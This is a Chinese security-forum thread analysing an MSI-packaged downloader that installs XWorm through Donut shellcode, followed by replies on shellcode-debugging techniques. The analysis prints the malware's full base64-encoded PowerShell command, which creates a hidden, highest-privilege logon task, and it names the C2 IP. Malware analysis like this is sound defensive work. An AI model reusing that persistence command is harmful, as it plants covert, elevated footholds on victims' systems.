查看: 804|回复: 13
收起左侧

[分析报告] 站内一个样本的分析

[复制链接]
aaa4dr
发表于 7 天前 | 显示全部楼层 |阅读模式
本帖最后由 aaa4dr 于 2025-2-27 23:26 编辑

帖子来源,感谢分享~
VT0 样本1X_病毒样本 分享&分析区_安全区 卡饭论坛 - 互助分享 - 大气谦和!可能有些格式问题,见谅

SHA256:165eb1453ad116dad9d695afb519eacc2996f53643336496731b1bb95e447563
文件分析
msi文件


行为分析进程行为
安装程序没有看到其他进程创建的行为


文件行为
好像安装失败了?先不管了


注册表行为
未发现明显维权行为
网络行为
未检出,那应该就是安装失败了
详细分析
对于msi文件,我们先使用Orca看下文件结构
File目录下总共有三个文件


第一个Firefox的exe签名正常,应该是个白文件




第二个jpg就是个图片,凡是不清楚里面有没有藏shellcode,但是目前来看就是正常文件

那么我们重点需要分析的就是protector.exe了。先放放,看看msi文件中的其他段。逻辑上我们需要找到哪里会调用protector。
在CustomAction中,我们可以找到如下位置调用了火狐的安装包,viewer.exe也是白文件,用于使用特定参数运行指定文件




msi调用protector比较隐蔽
首先在Property中声明了该文件为AI_APP_FILE
然后调用aicustact.dll执行LaunchAPP调用AI_APP_FILE,其中aicustact.dll也为白文件,签名正常








ok目前为止,我们已经大致确定了目标以及目标程序的调用方法,接下来就开始分析核心文件
protector.exe
rust编写的程序,使用ida9可以恢复大部分符号
我们进入main函数下拉一下就可以看到c2


我们现在还是从头开始分析
首先进入main函数,可以看到request_admin_privileges函数,这个函数用来识别调用属性,如果是管理员执行则继续,否则结束进程,猜测这里就是直接运行无法获取信息的原因


后续add_startup_task函数中调用powershell执行命令做维权操作



"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACIALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEYAaQBsAGUAUABhAHQAaAAgAFwAIgBDADoAXABcAFUAcwBlAHIAcwBcAFwAUABpAG4AawBLAGUAeQBcAFwARABlAHMAawB0AG8AcABcAFwAVABlAG0AcABcAFwAaAB1AGgAdQA3AC4AMgA2AFwAXABwAHIAbwB0AGUAYwB0AG8AcgAuAGUAeABlAFwAIgAiADsAIAAkAHQAcgBpAGcAZwBlAHIAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIAUwB5AHMAQwBvAHIAZQBUAGUAcwB0ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIgBUAGUAcwB0ACAAcwB0AGEAcgB0AHUAcAAgAHQAYQBzAGsAIgAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAAAA==
绕过windeender,执行如下命令,隐藏路径并在登陆时启动

在这之后就是核心内容了,创建内存,接收上述c2的文件,然后执行





之后这个文件就没有什么操作了,确认为下载器+加载器
然后就是shellcode分析了,我们可以从内存中dump出来,也可以直接访问ip获取
Donut的pe转shellcode,我们可以再转成pe文件


代码使用donut,在如下位置解密c#指令集,后续使用clr非托管调用执行

我们来看下释放的文件

直接把病毒类型爆出来了,XWorm



每十秒建立一次连接,具体的直接看XWorm的分析吧~
IOC
154.197.33.29
这里再次推荐下微步云沙箱,目前沙箱已经可以检出该样本~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1经验 +20 魅力 +1 人气 +3 收起 理由
QVM360 + 20 + 1 + 3 版区有你更精彩: )

查看全部评分

wywt123
发表于 7 天前 | 显示全部楼层
楼主忘记放链接了?还是还在编辑?

https://bbs.kanxue.com/thread-285778.htm
aaa4dr
 楼主| 发表于 7 天前 | 显示全部楼层
wywt123 发表于 2025-2-27 23:24
楼主忘记放链接了?还是还在编辑?

https://bbs.kanxue.com/thread-285778.htm

嘿嘿,还不太会用卡饭的编辑器
ジ蓅暒划过づ
发表于 7 天前 | 显示全部楼层
楼主分析真详细。。
神龟Turmi
发表于 6 天前 | 显示全部楼层
有和其他的CloudEyE/GULoader比对过吗
我怀疑这个downloader是新版本的CloudEyE的加载器
但是目前所有的Yara都不支持我这个怀疑
DisaPDB
发表于 5 天前 | 显示全部楼层
本帖最后由 DisaPDB 于 2025-3-1 02:26 编辑

如果shellcode不是dount生成的是不是就没办法转了
文章提到的图片隐写问题,动调一下就能找到是不是藏shellcode了
这种隐藏的东西静态基本没戏

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
aaa4dr
 楼主| 发表于 5 天前 | 显示全部楼层
DisaPDB 发表于 2025-3-1 02:18
如果shellcode不是dount生成的是不是就没办法转了
文章提到的图片隐写问题,动调一下就能找到是不是藏shel ...

转pe我用的是另一个项目shellcode2exe,和shellcode本身应该没有什么关系,其实就相当于套了个exe的壳,entrypoint就是shellcode开头,所以就算不是donut,只要是从头执行的就基本没有问题。
关于jpg动调,佬能说的再详细些吗,没有怎么听懂如何找shellcode的
aaa4dr
 楼主| 发表于 5 天前 | 显示全部楼层
神龟Turmi 发表于 2025-2-28 18:11
有和其他的CloudEyE/GULoader比对过吗
我怀疑这个downloader是新版本的CloudEyE的加载器
但是目前所有的Y ...

嘿嘿不好意思,我没有接触很久这方面,不太了解
DisaPDB
发表于 5 天前 | 显示全部楼层
aaa4dr 发表于 2025-3-1 15:53
转pe我用的是另一个项目shellcode2exe,和shellcode本身应该没有什么关系,其实就相当于套了个exe的壳,e ...

你这种方式只能调试或者转自动化工具硬转的shellcode,真正硬核的shellcode都是写汇编然后obj提取的机器码,丢ida找不到OEP,只能放dbg里面给内存加载函数下断点让shellcode自行解密

jpg隐写的动调方式同上,导入表里面多关注下内存加载&回调加载的一些关键api就行
aaa4dr
 楼主| 发表于 5 天前 | 显示全部楼层
本帖最后由 aaa4dr 于 2025-3-1 20:03 编辑
DisaPDB 发表于 2025-3-1 19:34
你这种方式只能调试或者转自动化工具硬转的shellcode,真正硬核的shellcode都是写汇编然后obj提取的机器 ...

目前我遇到的基本都基于内存执行,在调用的时候总要先跳转到入口,写一个加载器跳转我觉得应该基本上都没有问题吧,这个项目比较方便所以经常用。关于您说的api下断,我认为是无法分析逻辑时使用的下下策,毕竟咱们做样本分析,总是希望能够尽可能还原逻辑的嘛而且部分shellcode可能并没有virtualAlloc这类的函数,而是最后的载荷,用于数据套接,此时api下断就只能用于获取c2,而无法分析技术本身了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-3-6 17:12 , Processed in 0.142964 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表